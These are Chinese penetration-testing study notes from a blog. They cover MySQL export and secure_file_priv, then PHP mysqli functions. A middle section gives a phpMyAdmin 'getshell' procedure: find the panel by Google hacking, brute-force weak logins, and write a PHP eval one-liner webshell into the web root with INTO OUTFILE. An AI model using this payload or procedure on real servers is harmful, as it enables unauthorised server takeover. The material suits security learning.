2019-10-11:渗透测试,基础学习,php+mysql连接,笔记

mysql导出数据
1,通过工具如phpmyadmin,navicat等
2,mysqldump -u -p 库名 > /数据库文件, mysqldump -u -p 库名 表名 > /表数据文件
3,select 字段 from 表名 into outfile “文件”
mysql 5.5以后首次从数据库中都暗处文件,数据库会运行secure-file-priv 安全机制,会限制导出文件, 查看该安全项的值: show global variables like '%secure_file_priv%';
secure-file-priv,为Null表示限制导入和导出
secure-file-priv,没有值,表示mysql不限制导入导出
secure-file-priv=/tmp表示mysql只能在tmp目录下导入和导出其他目录不允许

修改安全选项
临时方法,set global secure-file-priv='';
注意 variable 'secure_file_priv' is read only variable表示不能通过sql语句修改
长久方法,修改配置文件,在配置文件中找到mysqld,后面添加 secure-file-priv=' '保存退出,重启服务

通过phpmyadmin获取服务器权限,getshell
1,通过google hacking找phpmyadmin
2,爆破或弱口令登录进入phpmyadmin,判断是否有限制写木马文件
3,如果该安全选学校没有限制或者限制不严格,可以往站点根目录去写一句话木马,可以在phpmyadmin下执行sql语句,select @@basedir;
select "<?php @eval($_POST[[123]);?>" into outfile "D:\phpstudy_pro\www\eval.php"
4,通过webshell管理工具如,菜刀,蚁剑等去控制服务器

php+mysql
php操作mysql数据库
1,使用Mysql扩展,只针对Mysql数据库
面向对象
直接方法,面向过程
2,使用mysql扩展(php<=5.5)2010年开始不建议使用
3,使用PDP(php data objects)技术(防止sql诸如)面向对象的方式,可以应用在12种数据库中

phpinfo()中查看当前环境是否有Mysqli的扩展
at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。

getMessage()存储错误信息
mysqli_query()执行某个针对数据库的查询。返回的为class
mysqli_num_rows() 返回结果集中行的数量,查询的记录数
mysqli_fetch_assoc()从结果集中取第一行作为数字数组或关联数组,关系型数组,如果要输出所有,就使用一个循环
mysqli_fetch_all()从结果集中取得所有行作为关联数组,或数字数组,或二者兼有。
mysqli_field_count() 返回最近查询的列数。

原文地址:https://www.cnblogs.com/sym945/p/11654514.html